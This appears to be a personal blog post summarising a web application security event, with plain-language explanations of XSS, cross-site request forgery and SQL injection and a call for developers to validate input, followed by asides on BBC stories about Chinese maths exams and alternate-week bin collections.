This morning I attended the SPI Dynamics Web Application Hacking event at Microsoft (that would have been in the title but there weren't enough acronyms). Joe Yeager gave an interesting presentation and several demonstrations of various vulnerabilities in web applications. It actually felt like the least marketing-type event I've been to for a while and the result is that I really want to get a copy of DevInspect (or at least get work to buy it) despite the fact it was barely mentioned. So, what did we learn?

 

Cross Site Scripting (XSS) is a big problem. From the statistics shown this morning it looks as though a lot of websites suffer from this, which is wierd because I always thought it was the most publicised. Maybe not. For those who don't know, XSS involves entering some code into an input box on a website and having it being returned to the webpage. Reflected XSS will appear for the short time after the details were entered (maybe a login text box that entering code into will have an effect on the next page). Persistent XSS is where the code entered is stored on the site somehow (like on a blog, where the things written are stored in a database or some files). With the right code, anything could happen, including passwords being stolen, personal information being accessed/changed, money being transferred, or simply the page being displayed incorrectly. As Joe Yeager was pointing out this morning, it's important to remember that it's not really just script (Javascript or whatever) but it's also HTML, XHTML or whatever other language the browser might choose to parse.

 

Cross Site Request Forgery (XSRF) is a clever way for one site (which lets face it, it probably a malicious site) to gain access to your details on another site. Let's say you checked your email (GMail, Hotmail, Whatever) and didn't log out properly. Chances are that if you visit another website and then return to your email, you won't have had to log in the second time, right? This is because email site uses a cookie to remember that you've logged in, and depending on your settings this cookie might be valid until you close the browser, or even longer if your email client has a longer "remember me" functionality. The problem here is that a malicious website might also be able to use this cookie to log in to your email, so when you visit this site, it might copy your address book, send emails in your name, delete everything or change your email password. Expand this idea to online shopping sites like Amazon, Ebuyer or Ebay and maybe the malicious website can order things online. Expand it to an online banking website and maybe the malicious site can transfer all of your money to an offshore account of it's choosing. Scary thoughts, which is why websites like that should (and hopefully are) looking out for it. As a user of these website, you can probably help by logging out of a site after you've finished. Developers will have to do a lot more.

 

SQL injection comes back to websites that don't check their user input. It allows a hacker to mess around with the database storing all of the information that a web application might be using (such as customer details, bank details, emails, passwords). Until today I hadn't seen this demonstrated properly and I think Joe did a great job here. Not only did he go through, by hand, how to get the details of a database back, but he then brought out an SQL Injection tool from part of WebInspect. One click later - "and here's all of your database information". The tool had used an SQL Injection vulnerability to access the database and retrieve the database name, table names, column names and row data for every table in the database. Really rather quickly too.

 

Blind SQL Injection is more or less the same as the above, but less detectable. Hackers using SQL injection will be able to see error messages which come back from the database, thereby gaining further information about how they might go about breaking into the database. These error messages are logged and a hacker attempting to retreve lots of information might be likely to causee a lot of errors that a system administrator would probably pick up on. In Blind SQL Injection attacks, the error messages are suppressed. They aren't shown to the hacker and they might not be logged either. The hacker must guess the right commands to enter the database, but since there's a pretty standard list and there is seemingly less risk of being detected. they're likely to succeed. Again, WebInspect's SQL Injection tool came out and in a few clicks went away and retrieved the databse information. Slower, but still accessible.

 

The moral of the story is that developers must check all of the user input they recieve. This doesn't just mean visible form fields either since there are tools (the Web Developer Toolbar for Firefox as an example) which can alter hidden and disabled form fields to be visible and editable. And can change the form action to be POST instead of GET (or vice versa). And apparently some websites are vulnerable to attacks through the HTTP headers because they log those headers in databases without checking the input. If it came from the client, validate it.

 

Also in BBC news today, "Mathematicians set Chinese Test". It's basically an article about how much more intelligent you'd have to be to get into a Chinese University. this is nicely demonstrated by the two maths questions at the end of the article, one which would be taken by a Chines pre-entry student, the other by an English first year student. I can easily do the English question in my head, but I haven't yet gotten around to finding a pen, paper, suitable wikipedia entries and an hour to do the Chinese question. Strange thing is that they look like they demonstrate the same principles, but the Chinese question is presented in such a way that if I saw that in an exam, I'd **** myself. Never mind, still better than the American attempt pictured below.

 

(Sorry picture doesn't work on main website - try this link instead).

Random topic I know, but it just so happens that I now live in an area that has it's rubbish collected on alternate weeks, today was bin day and the BBC have run a story (What about the rubbish?) that talks about people wanting their weekly collections back. I understand why, but at the same time I believe that some of these problems (particularly anything to do with overflowing bins) could simply be solved by recycling more. Here's the logic -